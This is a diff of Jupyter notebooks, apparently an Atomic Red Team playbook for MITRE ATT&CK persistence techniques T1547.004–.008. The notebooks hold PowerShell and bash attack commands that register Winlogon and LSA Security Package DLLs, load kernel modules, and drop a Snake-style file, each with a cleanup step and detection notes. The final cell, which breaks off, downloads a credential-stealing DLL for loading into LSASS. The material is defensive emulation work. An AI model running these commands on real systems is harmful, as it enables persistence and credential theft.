at logon.\n\nUpon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon.\n\nPlease note that Winlogon Notifications have been removed as of Windows Vista / Windows Server 2008 and that this test thus only applies to erlier versions of Windows.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nNew-Item \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\" -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\" \"logon\" \"C:\\Windows\\Temp\\atomicNotificationPackage.dll\" -Force\n```" + "```powershell\nNew-Item \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"DllName\" \"C:\\Windows\\Temp\\atomicNotificationPackage.dll\" -Type ExpandString -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"Logon\" \"AtomicTestFunction\" -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"Impersonate\" 1 -Type DWord -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"Asynchronous\" 0 -Type DWord -Force\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "08526f8e", + "id": "697a22fd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "8092296d", + "id": "0382607a", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\" -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b5ca4274", + "id": "4ca61258", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "06f6a0bb", + "id": "6f447f1f", "metadata": {}, "source": [ "### Atomic Test #4 - Winlogon HKLM Shell Key Persistence - PowerShell", @@ -129,28 +129,28 @@ { "cell_type": "code", "execution_count": null, - "id": "d225bf1a", + "id": "ebed1ab6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "aae87874", + "id": "e5926d34", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Shell\" -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4ad1cba9", + "id": "a6b7a040", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "16622ad4", + "id": "ce7a238b", "metadata": {}, "source": [ "### Atomic Test #5 - Winlogon HKLM Userinit Key Persistence - PowerShell", @@ -163,28 +163,28 @@ { "cell_type": "code", "execution_count": null, - "id": "1951e13b", + "id": "9aff0ed5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "77e706bb", + "id": "c9e84a68", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Userinit\" -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cc3e87a5", + "id": "1a1243e7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "5223d11d", + "id": "6790669f", "metadata": {}, "source": "## Detection\nMonitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." } @@ -192,13 +192,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1547.005.ipynb b/playbook/tactics/privilege-escalation/T1547.005.ipynb index 81c462ce..7360bddb 100644 --- a/playbook/tactics/privilege-escalation/T1547.005.ipynb +++ b/playbook/tactics/privilege-escalation/T1547.005.ipynb @@ -2,40 +2,89 @@ "cells": [ { "cell_type": "markdown", - "id": "c83e245b", + "id": "a0960430", "metadata": {}, "source": "# T1547.005 - Security Support Provider\nAdversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)" }, { "cell_type": "markdown", - "id": "5d73dd54", + "id": "f1c7cde8", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "faa06c58", + "id": "6cc34c37", "metadata": {}, "source": [ - "### Atomic Test #1 - Modify SSP configuration in registry", - "Add a value to a Windows registry SSP key, simulating an adversarial modification of those keys.", + "### Atomic Test #1 - Modify HKLM:\\System\\CurrentControlSet\\Control\\Lsa Security Support Provider configuration in registry", + "Add a value to a Windows registry Security Support Provider pointing to a payload .dll which will normally need to be copied in the system32 folder.\nA common DLL used with this techquite is the minilib.dll from mimikatz, see https://pentestlab.blog/2019/10/21/persistence-security-support-provider/\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\n# run these in sequence\n$SecurityPackages = Get-ItemProperty HKLM:\\System\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'\n$SecurityPackagesUpdated = $SecurityPackages\n$SecurityPackagesUpdated += \"not-a-ssp\"\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' -Value $SecurityPackagesUpdated\n\n# revert (before reboot)\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' -Value $SecurityPackages\n```" + "```powershell\n$oldvalue = $(Get-ItemProperty HKLM:\\System\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');\nSet-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\" -Name 'Security Packages old' -Value \"$oldvalue\";\n$newvalue = \"AtomicTest.dll\";\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' -Value $newvalue\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "9079828d", + "id": "8a505cb2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.005 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "5e5dbc8e", + "id": "cd109483", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\n$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old');\nSet-ItemProperty -Path HKLM:\\System\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' -Value \"$oldvalue\";\nRemove-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\" -Name 'Security Packages old';```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2f849e05", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1547.005 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "bb9ad8e3", + "metadata": {}, + "source": [ + "### Atomic Test #2 - Modify HKLM:\\System\\CurrentControlSet\\Control\\Lsa\\OSConfig Security Support Provider configuration in registry", + "Add a value to a Windows registry SSP key, simulating an adversarial modification of those keys.", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$oldvalue = $(Get-ItemProperty HKLM:\\System\\CurrentControlSet\\Control\\Lsa\\OSConfig -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');\nSet-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\\OSConfig\" -Name 'Security Packages old' -Value \"$oldvalue\";\n$newvalue = \"AtomicTest.dll\";\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig -Name 'Security Packages' -Value $newvalue\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "12988fa5", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1547.005 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "6c4cc20e", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\n$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\\OSConfig\" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old');\nSet-ItemProperty -Path HKLM:\\System\\CurrentControlSet\\Control\\Lsa\\OSConfig -Name 'Security Packages' -Value \"$oldvalue\";\nRemove-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\\OSConfig\" -Name 'Security Packages old';```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "74ea7d35", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1547.005 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "7a532cdc", "metadata": {}, "source": "## Detection\nMonitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)" } @@ -43,13 +92,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1547.006.ipynb b/playbook/tactics/privilege-escalation/T1547.006.ipynb index 7b5cc995..7a64b3c9 100644 --- a/playbook/tactics/privilege-escalation/T1547.006.ipynb +++ b/playbook/tactics/privilege-escalation/T1547.006.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "187858e1", + "id": "faa98479", "metadata": {}, "source": "# T1547.006 - Kernel Modules and Extensions\nAdversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)" }, { "cell_type": "markdown", - "id": "7a20ce28", + "id": "dec7bfec", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "dbbc6de7", + "id": "b3060ba3", "metadata": {}, "source": "### Atomic Test #1 - Linux - Load Kernel Module via insmod\nThis test uses the insmod command to load a kernel module for Linux.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The kernel module must exist on disk at specified location\n\n##### Check Prereq Commands:\n```bash\nif [ -f /tmp/T1547.006/T1547006.ko ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\nif [ ! -d /tmp/T1547.006 ]; then mkdir /tmp/T1547.006; touch /tmp/T1547.006/safe_to_delete; fi;\ncp PathToAtomicsFolder/T1547.006/src/* /tmp/T1547.006/\ncd /tmp/T1547.006; make\nif [ ! -f /tmp/T1547.006/T1547006.ko ]; then mv /tmp/T1547.006/T1547006.ko /tmp/T1547.006/T1547006.ko; fi;\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ee70ae96", + "id": "fd859b13", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.006 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "558601bd", + "id": "e975a570", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -38,42 +38,42 @@ { "cell_type": "code", "execution_count": null, - "id": "28974ba0", + "id": "de24bc55", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.006 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "cfb607c6", + "id": "f9477f7a", "metadata": {}, "source": "#### Cleanup: \n```bash\nsudo rmmod T1547006\n[ -f /tmp/T1547.006/safe_to_delete ] && rm -rf /tmp/T1547.006\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7347d9d2", + "id": "bfdef0ae", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.006 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "8fbd1df5", + "id": "79ab8997", "metadata": {}, "source": "### Atomic Test #2 - MacOS - Load Kernel Module via kextload and kmutil\nThis test uses the kextload and kmutil commands to load and unload a MacOS kernel module.\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The kernel module must exist on disk at specified location\n\n##### Check Prereq Commands:\n```bash\nif [ -d /Library/Extensions/SoftRAID.kext ] ; then exit 0; else exit 1 ; fi\n\n```\n##### Get Prereq Commands:\n```bash\nexit 1\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e354a942", + "id": "4ee4b544", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.006 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "6d6daab3", + "id": "2937204b", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -83,28 +83,28 @@ { "cell_type": "code", "execution_count": null, - "id": "b8506816", + "id": "60dcc91e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.006 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "4892c608", + "id": "604d055e", "metadata": {}, "source": "### Atomic Test #3 - MacOS - Load Kernel Module via KextManagerLoadKextWithURL()\nThis test uses the IOKit API to load a kernel module for macOS.\nHarcoded to use SoftRAID kext\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The kernel module must exist on disk at specified location\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/T1547006_iokit_loader\" ]; then exit 0 ; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\ncc -o /tmp/T1547006_iokit_loader PathToAtomicsFolder/T1547.006/src/macos_kextload.c -framework IOKit -framework Foundation\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c0e40e89", + "id": "a3b18c12", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.006 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "19d295c3", + "id": "911497f5", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -114,28 +114,63 @@ { "cell_type": "code", "execution_count": null, - "id": "999a9423", + "id": "811658a7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.006 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "0d6bc9ee", + "id": "22304b20", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm -f /tmp/T1547006_iokit_loader\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9b2dac32", + "id": "b4fc066d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.006 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "d6b21c44", + "id": "a0e3012f", + "metadata": {}, + "source": [ + "### Atomic Test #4 - Snake Malware Kernel Driver Comadmin", + "The following Atomic Test will write an file, comadmin.dat, to disk. From the report, Snake's installer drops the kernel driver and a custom DLL which is used to load the driver into a\nsingle AES encrypted file on disk. Typically, this file is named \u201ccomadmin.dat\u201d and is stored in the %windows%\\system32\\Com directory. \nThis Atomic Test will write a hardcoded named file to disk in the com directory named comadmin.dat.\n[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF) \n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$examplePath = Join-Path $env:windir \"system32\\Com\"; if (-not (Test-Path $examplePath)) { New-Item -ItemType Directory -Path $examplePath | Out-Null }; $exampleName = \"comadmin.dat\"; $exampleFullPath = Join-Path $examplePath $exampleName; $randomBytes = New-Object Byte[] 0x1000; (New-Object Random).NextBytes($randomBytes); [System.IO.File]::WriteAllBytes($exampleFullPath, $randomBytes)\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7d497b82", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1547.006 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "84ec024d", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\n$examplePath = Join-Path $env:windir \"system32\\Com\"; $exampleName = \"comadmin.dat\"; $exampleFullPath = Join-Path $examplePath $exampleName; if (Test-Path $exampleFullPath) { Remove-Item $exampleFullPath -Force }\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5d9b220f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1547.006 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "e70e6882", "metadata": {}, "source": "## Detection\nLoading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nAdversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.\u00a0These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\n\nOn macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike\u2019s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\n" } @@ -143,13 +178,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1547.007.ipynb b/playbook/tactics/privilege-escalation/T1547.007.ipynb index 5b30ae45..61cf3fce 100644 --- a/playbook/tactics/privilege-escalation/T1547.007.ipynb +++ b/playbook/tactics/privilege-escalation/T1547.007.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "f358287b", + "id": "b47cd0a5", "metadata": {}, "source": "# T1547.007 - Re-opened Applications\nAdversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user\u2019s next logon.\n\nAdversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in." }, { "cell_type": "markdown", - "id": "4e51fba5", + "id": "d6e234b8", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "bfa212d3", + "id": "c6e1416a", "metadata": {}, "source": [ "### Atomic Test #1 - Copy in loginwindow.plist for Re-Opened Applications", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "13182369", + "id": "6a0cf4c8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.007 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "09b02027", + "id": "ccbcd781", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f ~/Library/Preferences/ByHost/com.apple.loginwindow.plist\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8bfadd8b", + "id": "c0a2a78f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.007 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "ae9ba120", + "id": "6652994c", "metadata": {}, "source": [ "### Atomic Test #2 - Re-Opened Applications using LoginHook", @@ -62,42 +62,42 @@ { "cell_type": "code", "execution_count": null, - "id": "3e8d8af5", + "id": "5e0fbfc2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.007 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "b08f3be9", + "id": "09141168", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo defaults delete com.apple.loginwindow LoginHook\n```" }, { "cell_type": "code", "execution_count": null, - "id": "48188072", + "id": "e087ebd0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.007 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "b5710af0", + "id": "b322d8a8", "metadata": {}, "source": "### Atomic Test #3 - Append to existing loginwindow for Re-Opened Applications\nAppends an entry to launch Calculator hidden loginwindow.*.plist for next login.\nNote that the change may not result in the added Calculator program launching on next user login.\nIt may depend on which version of macOS you are running on.\n\n**Supported Platforms:** macos\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```sh\nif [ -f \"/tmp/t1547007_append_exe\" ]; then exit 0 ; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\ncc PathToAtomicsFolder/T1547.007/src/append_reopen_loginwindow.m -o /tmp/t1547007_append_exe -framework Cocoa\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4891e344", + "id": "cbbd6ca4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.007 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4e1f5cc5", + "id": "b95e3a01", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -107,28 +107,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5e22c61a", + "id": "cf103db7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.007 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "099010a9", + "id": "c9b172de", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f /tmp/t1547007_append_exe\n# revert to backup copy\nFILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1`\nif [ -z \"${FILE}\" ] ; then\n exit 0\nfi\nmv /tmp/t1547007_loginwindow-backup.plist ${FILE}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fa2bc7fe", + "id": "009f255d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.007 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "4d29b1e5", + "id": "5d3f6cb6", "metadata": {}, "source": "## Detection\nMonitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened." } @@ -136,13 +136,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1547.008.ipynb b/playbook/tactics/privilege-escalation/T1547.008.ipynb index 05b3cc18..3607c6bf 100644 --- a/playbook/tactics/privilege-escalation/T1547.008.ipynb +++ b/playbook/tactics/privilege-escalation/T1547.008.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "92eae3db", + "id": "c5e0e3ee", "metadata": {}, "source": "# T1547.008 - LSASS Driver\nAdversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads." }, { "cell_type": "markdown", - "id": "3bbf2e6d", + "id": "8462a772", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "c774fc98", + "id": "8be86175", "metadata": {}, - "source": "### Atomic Test #1 - Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt\nThe following Atomic will modify an undocumented registry key that may be abused to load a arbitrary DLL into LSASS. \n\nUpon execution, the registry key will be modified and a value will contain the path to the DLL. \nReference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source https://github.com/oxfemale/LogonCredentialsSteal\nNote that if any LSA based protection is enabled, this will most likely not be successful with LSASS.exe loading the DLL.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: lsass_lib.dll must exist on disk at specified location (#{dll_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:TEMP\\lsass_lib.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/oxfemale/LogonCredentialsSteal/raw/53e74251f397ddeab2bd1348c3ff26d702cfd836/lsass_lib/x64/Release/lsass_lib.dll\" -UseBasicParsing -OutFile \"$env:TEMP\\lsass_lib.dll\"\n\n```" + "source": "### Atomic Test #1 - Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt\nThe following Atomic will modify an undocumented registry key that may be abused to load a arbitrary DLL into LSASS. \n\nUpon execution, the registry key will be modified and a value will contain the path to the DLL. \nReference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source https://github.com/oxfemale/LogonCredentialsSteal\nNote that if any LSA based protection is enabled, this will most likely not be successful with LSASS.exe loading the 